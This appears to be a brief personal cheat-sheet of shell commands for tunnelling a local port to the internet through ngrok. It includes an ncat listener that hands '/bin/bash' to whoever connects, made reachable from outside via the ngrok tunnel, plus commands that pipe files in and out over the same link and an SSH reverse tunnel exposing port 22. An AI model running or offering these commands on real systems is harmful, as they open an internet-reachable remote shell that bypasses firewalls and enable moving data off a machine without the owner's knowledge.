ssh -R 0:localhost:5555 tunnel.us.ngrok.com tcp
Expose localhost:5555 to ngrok with TCP connection.
ncat -l -p 5555 -e /bin/bash
.
ncat anything.tcp.ngrok.io port
.
ncat -l -p 5555 > file.out
.
ncat anything.tcp.ngrok.io port < file.in
.
OR
ssh -R 0:localhost:22 tunnel.us.ngrok.com tcp
ssh -p ngrok_port $REMOTE_USER@ngrok_host